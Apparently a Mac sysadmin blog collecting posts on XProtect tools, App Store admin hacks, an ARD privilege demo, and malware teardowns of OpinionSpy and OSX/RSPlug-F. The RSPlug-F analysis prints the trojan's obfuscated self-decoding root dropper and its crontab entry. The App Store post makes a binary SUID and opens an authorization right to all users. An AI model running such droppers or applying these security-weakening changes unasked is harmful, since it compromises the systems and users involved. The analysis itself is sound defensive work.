myXProtectStatus

myXProtectStatus – A drop down status menulet for XProtect, showing date, version, and threats protected against. Written in bash, and wrapped with Platypus, it is informational only, so don’t ask me to add some menu item to do something, it just reports. However I did add the Command Line and GUI ways to update XProtect in the output, so it’s of some use for that. When run, it’ll reside in your menu bar and call a script inside itself each time it runs. Tuck it away somewhere, add it to your loginitems. Check it every once and a while…

Screenshot of myXProtectStatus:

Other notes: I pipe the output of the threat list though /usr/bin/uniq, because while Hell.RTS has three different signatures it retains the same name in each and it seemed redundant to list all of them out! So all recurring names will be reduced to one entry.

The menu bar icon: it’s an X with a grey picket fence around it, I made it tiny… then realized I need an icon for the App too rather than Platypus’ so I sized it up, it’s fugly, but you’ll never see it! :)

Bonus: When run as root, it will show the auto-update on/off status, which can only be determined on the command line by root.

 

Advanced Safe Downloads List Tips and Tricks

So I submitted a hint for getting info about the Safe Downloads protection list, then I made a widget, now delving deeper into Safe Downloads list and the command line

Let’s look at the BOM for the update:

/Library/Preferences/com.apple.ReportMessages.domains
/Library/Preferences/com.apple.ReportMessages.v2.domains
/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect.plist
/System/Library/CoreServices/MRTAgent.app
/System/Library/LaunchAgents/com.apple.mrt.uiagent.plist
/System/Library/LaunchDaemons/com.apple.mrt.plist
/System/Library/LaunchDaemons/com.apple.xprotectupdater.plist
/System/Library/PreferencePanes/Security.prefPane
/usr/libexec/MRT
/usr/libexec/XProtectUpdater

What’s interesting is after installation /usr/libexec/MRT, com.apple.mrt.plist, and com.apple.mrt.uiagent.plist delete themselves after they run?! This is odd, yes? From what it looks like MRT has a lot of pattern matching  code in it… Also notable is that in the postflight action loadMRT, the launchagent and daemon are unloaded and reloaded in the postflight actions, however the loadXProtectUpdater script does not do this. So the XProtectUpdater does not run again if you rerun the installer since launchctl will report it’s already loaded, so you’ll have to wait a day for it to check again and update as seen in com.apple.xprotectupdater.plist (86400 seconds = 1 day).

If you want to manually force an update, you can run this command:
sudo /usr/libexec/XprotectUpdater
You must run as root or else it informs you:
XprotectUpdater[pids] Unable to write new signature meta plist

You can also just toggle the preference in the Security prefpane, this causes the launchd job to be unloaded an reloaded, however from an admin POV it’s nice to have a non-GUI way to do this. Also there seems to be a bug in the prefpane so values are not written after it is open for more than 30 seconds! Come on 10.6.8! (It feels like this was Lion stuff that’s getting shoe-horned into Snow Leopard a bit earlier than they expected )

Another interesting tidbit is the actual malware list that is squirreled away here:
/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect.plist

If you attempt to use the defaults command to read it you are given this:
defaults[pids] Preference plist was NOT a dictionary.
defaults[pids] Domain /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect does not exist

It seems the Apple folks have done some creative things so while this is still valid XML it is not a defaults compatible plist. The values are dictionaries stored in an array at the top level. Is this protection against script-kiddies who’d use defaults to change values in the list? While the file is root owned, one must wonder if there are safeguards to check its checksum against a server to detect unauthorized changes to it? Since admin status is enough to escalate to root using sudo (and every initial user in OS X is an admin), combine this with the fact that installer runs as root when installing a pkg, and this is something to keep an eye on… (oh right my point being this thwarts a script to list detected threats, at least easily using defaults)

And some parting advice: Turn off Open Safe Downloads in Safari! It’s an oddly bad decision by Apple, its paralells to Windows’ AutoPlay/AutoRun give me goose bumps! I don’t want a dmg opening itself up and copying out it’s pkg payload into Downloads, then auto launching it! CRAZY BAD! Malware on a platinum platter, Apple couldn’t have made it easier!

Here’s the code for turning this off in Safari, it is a per user preference:
defaults write com.apple.Safari AutoOpenSafeDownloads -bool FALSE

And so concludes this expedition, hope you learned something, and can teach me something back in the process, thanks!

Safe Downloads List Info Widget

UPDATE: The AUTOUPDATE code only works as root and so is not useful in the Dashboard environment! This has been removed from the widget.

So I slapped together a widget for the Safe Downloads commands I post at OSXHints:

Safe Downloads Info Widget

Nothing glamorous just the facts and the following code is how it gets it’s values:

defaults read /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect.meta LastModification
defaults read /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/XProtect.meta Version

The auto updates status took a bit more massaging:

eval $(sudo defaults read /private/var/db/launchd.db/com.apple.launchd/overrides com.apple.xprotectupdater | sed 's/ //g')
if [ ${Disabled:=0} -eq 0 ]; then
echo ON
else
echo OFF
fi

All apologies to Dashboard coding perfectionists but the calls for the widget are synchronous, and reading up on Dashboard coding best practices, Apple says a shipping widget should only use asynchronous calls for info… oh well it works well enough for me! :) Perhaps I’ll go back and throw in extra lines of code for asynchronous handlers when I can, if my widget freezes up any other widgets you can simply restart Dashboard by killing to Dock process from Activity Monitor.

Related:
myXprotect Status – a drop down list of threats protected against for the menu bar

App Store tips and tricks for sysadmins

App Store Tips, Tricks, and Hacks for the SysAdmin

App Store, oh, App Store, like all Apple products you are made first for consumers and in time maybe you will be ready for corporate deployment, but for now, here’s some tips for the Mac IT worker needs to wrangle this beast.

Firstly, the App Store, if you’ve noticed, requires admin rights to download and install apps. Not just because it installs to /Applications (it could be ~/Applications if it wanted to…) But most likely due to the new location of the receipts folder in /var/db/receipts. Up until version 10.6 it was /Library/Receipts and this would have made it possible to use the domain system that was the simple genius of OS X, where things can live in /System/Library, /Library, or ~/Library and when the system couldn’t find a pref or support file in one domain it would look in the next. Fonts are a great example of this in action, why didn’t they think it was a good idea for receipts is anyone’s guess. But since there is no way to make an analogous folder structure of /var/db/receipts in a user’s home folder, much less have the system recognize there are receipts there, the App store is not “Standard User” compatible.

Disabling Execution and hiding the App Store with Unix Permissions:

#hide it
sudo chflags hidden /Applications/App\ Store.app/

#keep it from executing for anyone other than root (since it is ownership is root:wheel)
sudo chmod o-x /Applications/App\ Store.app/Contents/MacOS/App\ Store

#to let admin users execute, next change group ownership of executable
sudo chgrp admin /Applications/App\ Store.app/Contents/MacOS/App\ Store

#OR keep anyone from executing it
sudo chmod ugo-x /Applications/App\ Store.app/Contents/MacOS/App\ Store

Keeping the icon from populating the Dock is more troublesome, since Apple has changed this from 10.5, previous versions, it was a matter of altering /System/Library/User\ Template/English.lproj/Library/Preferences/com.apple.dock.plist but this no longer exists. I am searching for where this information is pulled… but in the meantime you could use a utility like RemoveItemFromDock to run for a user when they log in (note: a new user will not have a com.apple.dock.plist file until their first login, this makes it tricky for login scripts on first login…) I had a good lead in /Library/Preferences/com.apple.dockfixup.plist but removing the add-app entry that contains the path to the App Store did not help… wah wah.

Well, so you hidden the App Store, restricted it running, but what can your sneaky users do?

They can buy an App Store app on their home computer and then simply copy it to their work laptop. The app will prompt them to authorize it with their AppleID, boom, done, no problem for a Standard User. However, they will not get updates on the computer, since there is no receipt of its installation, this would need to be done manually. User bringing in paid apps to a work computer creates a quandary for admins who run app inventory on computers (especially if it’s for license compliance)! From my attempts at pruning and tinkering with the Parental controls MCX values in the user’s records there didn’t  seem to be a way to wildcard the white or blacklist, however it is promising that there is a boolean key call appStore that shows up. But for now enabling “Limit Applications” setting involves explicit approval for EVERY app they want to run that’s not on the whitelist, and personally I don’t care if you want to run Primate Plunge to waste time during conference calls – you and I will probably be saner for it. :)

Bottomline MCX doesn’t seem to have a straightforward way to deal with this now that doesn’t involve more admin overhead using Parental Controls.

Perhaps though, you don’t care what your user intalls from the App Store but you care enough that they are still Standard Users, well here’s the hack and slash way to enable them to use the app store…

How to Allow Standard Users to Run the App Store*

*Disclaimer: !!!WARNING!!! Security settings are changed with this action!!!! HACK AT YOUR OWN RISK !!!!!

#Make the App store an SUID binary so it runs as root *

sudo chmod +s /Applications/App\ Store.app/Contents/MacOS/App\ Store

#Change rights in /etc/authorization to allow system.privilege.setugid_appkit right by anyone* **

sudo cp /etc/authorization /etc/authorization.saved
sudo cp /etc/authorization /etc/authorization.plist
sudo defaults write /etc/authorization rights -dict-add system.privilege.setugid_appkit '<dict><key>rule</key><string>allow</string></dict>'
sudo plutil -convert xml1 /etc/authorization.plist
sudo sudo chmod go+r /etc/authorization.plist
sudo mv /etc/authorization.plist /etc/authorization

There you go, your standard users can now install App Store apps.

*Disclaimer: !!!WARNING!!! Security settings are changed with this action!!!! HACK AT YOUR OWN RISK !!!!!

** When you Google this, you’ll find this is the same solution I found for using Flip4Mac with Compressor as a standard user. I just love reusable code ;)

I hope you learned something and even better I hope you might have some insight to add that I’ve missed, please send in your comments, thanks!

Putting it all back the way it was before we started messing around

sudo chmod u=rwx,go=rx /Applications/App\ Store.app/Contents/MacOS/App\ Store
sudo chown root:wheel  /Applications/App\ Store.app/Contents/MacOS/App\ Store
sudo chflags nohidden /Applications/App\ Store.app/
mv /etc/authorization.saved /etc/authorization

Update: My removeitemfromdock script seems to have been thrown by a loop by changes to the dock plist, just like I had to work around Dashboard when it was itroduced to the Dock in a new way. Update to come…

Update-2: removeitemfromdock now works like a charm, my Dashboard hack was taking for granted that Dashboard is not always at position 0 after the Finder, so when App Store snuck in behind, it was getting skipped, now there are some robust kludges to deal with Dashboard’s non standard dock entry

Tearing apart OpinionSpy

Updated: I’ve linked text files of string dumps to the binaries thoughout the article, I suppose not everyone wants to install and run the code to find out themselves! :D

Another OS X malware media darling is out there, but it’s not the DNS changing kind that RSPlug-F was. Rather this one has a lot more code in it, active code that is watching keystrokes, monitoring AIM, MSN, Yahoo, and iChat messengers and more.

So I found a sample (this is the actual installer careful, folks) in the MishInc FLV To MP3 converter. Which is just a .jar file, put .zip at the end and you can see the guts when expanded. However, it’s a self extracting installer using iZPack so it’s easier just to run it and let it unpack. Here’s some screenshots:

Nothing much in there

Jackpot on the 2nd screen, here’s the goods. Note, if you click I disagree, the software is not installed! Not too mal. Here’s the text from VoiceFive‘s agreement:

In order to provide this free download of MiMAC FLV To Mp3 Converter, PremierOpinion software, provided by VoiceFive, Inc., is included in this download. This software allows millions of participants in an online market research community to voice their opinions by allowing their online browsing and purchasing behavior to be monitored, collected, and once anonymized, used to create market reports, materials and other forms of analysis that may be shared with our clients to help our clients understand Internet trends and patterns and other market research purposes. The information which is monitored and collected includes internet usage information, basic demographic information, certain hardware, software, computer configuration and application usage information about the computer on which you install PremierOpinion.

We may use the information that we monitor, such as name and address, to better understand your household demographics; for example, we may combine the information that you provide us with additional information from consumer data brokers and other data sources in accordance with our privacy policy. We make commercially viable efforts to automatically filter confidential personally identifiable information and to purge our databases of such information about our panelists when inadvertently collected.

By clicking I Agree, you acknowledge that you are 18 years of age or older, an authorized user of this computer, and that you have read, agreed to, and have obtained the consent to the terms and conditions of the Privacy Statement and User License Agreement from anyone who will be using the computer on which you install this application.

Does anyone else find it odd that they say your info is anonymized, but then go on to use an example of information they monitor is name and address?! But not worry, commercially viable efforts will be used to filter that out. Does that mean if it’s too expensive they won’t bother doing a really good job? Nonetheless for this installer, if you say I Disagree you are able to continue to install the MP3 converter without PremierOpinion installing.

But let’s say: I agree for the heck of it :)

First it drops two files in /private/tmp: script.sh which simply makes the other file, poinstaller, executable. If you are connected to the internet it then downloads two folders: installtmp and tapinstaller, both folders have the exact same binary called PremierOpinion(496KB), installtmp has a different sized poinstaller binary and tapinstaller contains upgrade.xml, which contains a link to a file called rule14.xml, found on a server at post.securestudies.com. Downloading rule14.xml from them you get a link to the latest PremierOpinion.zip and the version numbers of the expected support libraries and essential files.

pointsaller has some Applescript to open the survey window in Safari and things like getting “campaign ids”, doing shell scripts with admin privileges, references to MacSniffer (a TCP packet sniffer), and more. Also while looking at the strings of poinstaller you’ll find reference not only to post.securestudies.com found but also it.kingroutecn.com which has the same rule14.xml but instead of PremierOpinion you get PermissionResearch. Doing some digging, it can be discovered that VoiceFive, Permission Research (which has many screensavers to download), and Premier Opinion are all in the same network block as ComScore, a multi-headed hydra of consumer buying insight.

Now back to the Chinese server (which is not used to download the payload, perhaps, only in China?) digging it.kingroutecn.com gives you 218.108.8.85, doing a reverse lookup gives  hidden-master.hzman.net, doing a reverse lookup gives you 127.0.0.1 that is you!? Whois on it.kingroutecn.com and hidden-master.hzman.net will point to Hangzhou, China, a very big city just southwest of Shanghai (it looks smoggy in Google Maps). The question is why are their two similar packages being served from the US and China? And why is the Chinese version newer (2.3.0.69 vs. 2.2.0.59)?

Anyway, Woodward and Bernstein aside, during all this unpacking of files in /private/tmp an authentication window asking for system.privelege.admin, that is to say, it wants root privileges. If you say yes, you’ll get a launchd daemon running as root installed to /Library/LaunchDaemons/PremierOpinion.plist, it’s an on-demand daemon that will respawn the PremierOpinion process if you try killing it in Activity Monitor. Respawning calls the RunPremierOpinion.sh script from /Application/PremierOpinion folder, it checks to see if you have Access for Assistive Devices enabled this is essential to logging your keystrokes. It does this by simply touching /private/var/db/.AccessibilityAPIEnabled, which can only be done by root, but it’s already running as that no prob! What’s weird about this file is that when you turn on Access for Assistive Devices via the GUI in System Preferences it creates the file with the single character ‘a’ but OS X will still activate the service if the file is created  and is 0 bytes. After installing a Safari window will pop up asking you who uses the computer, the ages of the folks using it, and other tidbits, you can see here. When this app upgrades itself you will find a folder at /private/tmp/autoupgrade which has the same contents of /Applications/PremierOpinion.

So /Applications/PremierOpinion has quite a few things inside, libraries, scripts, and an Uninstaller (?!), and PremierOpinion.app. Inside the app is some Code Signing, the binary (a much bigger 3.6MB version), and in Resources it contains survey.nib, systemtray.nib and InjectCode.app, which inside has code from Jonathan Rentzsch used for mach code injection*, taken from Growl’s 1.2 source code and recompiled by user huangxianghua as seen in the string: /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle

Further and further down the rabbit hole, but let’s just run the Uninstaller. It deletes the folder in Applications but the process remains as well as the LaunchDaemon and all the files in /private/tmp, however on reboot the process is indeed not running, /private/tmp is cleaned out, but the LaunchDaemon and Assistive Access remains on.

So here’s an uninstall script of my own (disconnect all network conections first, in case it is logging keystrokes, it might grab your password):

sudo launchctl unload -w /Library/LaunchDaemons/PremierOpinion.plist
sudo rm /private/tmp/poinstaller
sudo rm /private/tmp/script.sh
sudo rm -rf /private/tmp/installtmp
sudo rm -rf /private/tmp/autoupgrade
sudo rm -rf /private/tmp/tapinstaller
sudo rm -rf /Applications/PremierOpinion
sudo rm /private/var/db/.AccessibilityAPIEnabled

That should do it.

For extra insight, try running the PremierOpinion or PermissionResearch binary from the command line as root, there is all sorts of info to be found when it writes to stdout, such as when it starts a service port 8254: 2010-06-03 15:59:06.175 PermissionResearch[1658:60f] Starting server on port 8254 and, surf around a little, it’ll  report on the YouTube videos you are watching and other things it deems interesting.

Extra extra credit run a Sample on it from Activity monitor and see what it’s doing: FileInventoryTask::MainTask(void*), file inventory eh, that’s why it’s eating up 30% of my CPU!

Hmmm, enough rabbit hole adventures for today, comments are welcome.

Oh yes, and  PowerPC  folks don’t worry, they didn’t compile for PPC :)

*Update:

To go on further about the injection aka Method swizzling code. This is where you have your code respond to a message call instead of the original code, the power in this is that you can get in the middle of the internal calls and do what you will with their data but then pass them on to the original method. So they probably are swizzling methods in Safari or perhaps at the network layer so they can see what you are downloading, watching, etc. Combined with packet sniffer ‘all your data are belong to them’. However please take note that these the reason this app can do this is because you’ve given them the keys to the castle by authenticating it as root, the technologies it’s leveraging aren’t inherently nefarious, rather fundamental and and essential to system operation, if root can’t do it then who can? This is where either it falls on the user or the OS needs to be better about protecting the user from themselves, perhaps the OS could sandbox downloaded apps with very restrictive settings, alerting you when it attempts something privileged, although this can desensitize a user quickly to clicking Agree. Nonetheless this is a defining conundrum of this century. The power of personal computers is being subverted for the nefarious gain of others and we need to defend against it, the era of curated computing might be ushered in because of this. We’ve seen it so many times, when good things get used for bad purposes, there’s a sea change. Crises precipitates change.

Tearing Apart OSX/RSPlug-F

OK… I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan OSX/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty post with video demonstration of OSX/RSPlug-F being detected. It’s what started this investigation.

So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it… So I downloaded the sucker, you can too!

Live Code: OSX/RSPlug-F trojan

And what else can I say but: I’ll be darned if I can get the thing to work! Actually I do get it to work, but due to some coding errors out of the box, it’s a dud.

So let’s start the dissection:

The URL downloads HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you’re using Safari on a Mac and have the damnable default of “Open ‘Safe’ files after Downloading” it’ll go right to the installer. Which let me note Open “Safe” Files after downloading is the stupidest thing to happen to browsers since Active-X. The air quotes around “Safe” do not help, Apple, it’s a sly wink and a nod that no file type is totally safe but *shrug* whatcha gonna do? I’ll tell you what: don’t make it a dang default!

firefox-rsplug-cached-before-clicking-save

Firefox is not off the hook either, let me bring up the poisonous Firefox convenience: “predownloading”. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to cache and upon the user clicking Save it copies it to the destination or if the click Cancel it stays there. I think Firefox’s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that “hey it’s already here!”, but otherwise let me decide what and when something goes on my hard drive.

Anyway… let’s look at an Installer window the average user won’t look at: Show Files

./AdobeFlash
./Mozillaplug.plugin
./Mozillaplug.plugin/Contents
./Mozillaplug.plugin/Contents/Info.plist
./Mozillaplug.plugin/Contents/MacOS
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin
./Mozillaplug.plugin/Contents/Resources
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc
./Mozillaplug.plugin/Contents/version.plist

First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the mysterious VerifiedDownloadPlugin. No mention of Cinema eh?

Take a gander in Info.plist of install.pkg to see where it goes:
IFPkgFlagDefaultLocation /Library/Internet Plug-Ins/

So then, why would it need root privileges for an admin writable folder, eh?
redflag
IFPkgFlagAuthorizationAction RootAuthorization, for those following along in the Info.plist
Bonus: CFBundleGetInfoStringwho cares
Double Secret Bonus:
Resource/en.lproj/Description.plist IFPkgDescriptionDescription = shutdafuckup

Strangely when you look in both the logs created by Installer.app in /var/log/installer.log:
Leopard it says: "admin auth received to install"
Tiger says: "Administrator authorization granted."
I don’t know why you wouldn’t want the logs to clearly state root privileges were given, but there you have it, it doesn’t.

So what does it do with the root privileges? Hmmm? Let’s look in the preinstall/preupgrade scripts which are identical because apparently the author didn’t realize that a preflight script would kill two birds with one stone.

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -37 $0 | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
yksrepsak 777 nigeb
O(2/H178PI@(C%6;EQ&<#-RX"-Y(2/21$1!!52M
.... <SNIP> ....
*4F;DI`8*(B(`A$8*TD(`5T4^<3+4EC-8
`
dne

OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace ‘applemac’ with ‘AdobeFlash’ (remember that’s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.

Well, we’ll get to the ‘unencrypted’ payload in a sec let’s run this and see what happens leopard-fail anf tiger-fail — they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let’s see where we’re at:

The root crontab is altered to inlude: * */5 * * * /Library/Internet Plug-Ins/AdobeFlash
Since the script fails, the package does not install, so the crontab pointing to it is useless…

i386 is left in the root, it doesn’t get a chance to delete itself, considering that all those && statements mean “execute the next step only if the last thing completed correctly”, since it fails it doesn’t get deleted.

i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here’s the perl code it attempts to run, but unfortunately it fails on line 14 and goes no further. But let’s say we fix the code so it can talk to the server, get a response, and parse the output into a file…

685 is downloaded to /tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs this — the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of “here documents” to script scutil to change the DNS servers, which seem to rotate, you’ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who’s financing and running it in this global day and age. But the propensity for matryoshka style nested code seems telling :)

Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows…

The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre/post scripts and generally do what only 1% of the most vigilant of the population would do and you’ll be fine. Hopefully, root authorization will carry more weight in the Installer.app UI and say “Hey are your sure you want to grant root — REALLY!?”, pre/postflight scripts will be easier to look in UI (I am dreaming aren’t I), the logs won’t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when I click Save… (it’s open source, easy to change, but it’ll take a flame war to settle it)

Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.

Update:
I suppose it’d be helpful to add some instructions on how to reverse the scutil modifications, here’s the script (the code might look familiar)

#!/bin/sh
if (( $(id -u) != 0 )); then echo "Please run with sudo" && exit 1; fi
PSID=$( (/usr/sbin/scutil | /usr/bin/grep PrimaryService | /usr/bin/sed -e 's/.*PrimaryService : //')<< EOF
get State:/Network/Global/IPv4
d.show
quit
EOF
)

/usr/sbin/scutil << EOF
remove State:/Network/Service/$PSID/DNS
quit
EOF

echo "Please toggle your network adapter on/off to refresh DNS servers from DHCP"

Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you’re doing.

Office 2008 12.01 Update almost does it

So the Office 2008 12.01 updater came out, it’s got a whole lot of packages for each app and component with postflight scripts written in Python to clean up all the permissions:

Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: setting ownership/permissions
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: fixing setuid flags
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: clearing ACLs
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: sanitizing receipts

Doing an ls -lRFG in /Applications/Microsoft Office 2008 won’t leave you seeing red, they’ve cleaned that all up quite nicely.

Anyway, call me picky, but it forgets just one thing, the /Library/Fonts/Microsoft folder, it leaves that and its contents owned by 502 and they’re all marked executable. (Fonts don’t really need to be executable.) And as paranoid as it is — it’s still not quite right. So after you’ve put your tinfoil hat on, run 12.01, you can do this to finish it up:

#take away all users’ execute permissions
chmod a-x /Library/Fonts/Microsoft/*
#recursively own all fonts as root and admin group
sudo chown -R root:admin /Library/Fonts/Microsoft

Update: Or you can go into the update using Show Package Contents then navigate to Contents/Packages and run Office2008_en_fonts_12.0.1.incremental.pkg again, that’ll do the trick.

ARD Security Awareness (Standard User can run root commands)

Did you know a Standard user can run commands as root via ARD?
This seems really odd doesn’t it? Why would this be necessary? The thing that gets me is how in Tiger you had to explicitly grant each user the privileges after starting the ARD service. But in Leopard, when you start the service All Users is the default.

So let’s take a walkthrough of what I was looking into this Friday evening:
Find a Mac running Leopard
Turn on Remote Management (yes you do have to be admin to do this)
Notice the default is for All Users to have access.
Create a Standard user in Leopard
Great, now go get a machine with ARD on it.
Add the computer to your ARD list using the standard user’s credentials
Send it a Unix Command to run as root (touch /HaxorWasHere, in this case)
Notice the new file owned by root in a place where no standard user can put things.

Interestingly, perhaps because I had done this a number of times, and Leopard got confused after a while, I tried deleting through Finder (while logged in as ‘test’ but authenticating as administrator) and got this message

OK that oddity aside, here’s another: You don’t need to have everything checked in ARD’s preferences to accomplish this, here’s the bare minimum :

  • Generate reports
  • Open and quit applications
  • Change settings
  • Delete and replace items
  • Restart and shut down
  • Copy items
  • Page 66 of the ARD manual does go into detail what needs to be turned on to run a Unix command, but why not just have a check box: Run Unix Command? Also, Generate Reports isn’t listed as one of them, but unless it was checked I got this?

    Now I’m not saying this is an out and out security breach, no, because it requires admin privileges to turn on the service and add the user, but it does show how simply checking a check box as an admin could open your up your Mac to Bad Things™ if a standard user on your family computer has a weak password and someone else has ARD in a dark alley… well, you know what I mean. This just doesn’t seem right. Standard users should only be able to do standard user things, even in the magical world of ARD.

    See the ARD manual pages 65-68 for Apple’s wording on the Remote Management Preference pane permissions. See if it seems clear that Standard users given ‘administrator’ (ARD administrator in this case) privileges can run as root. Leave a comment and let me know what you think, thanks.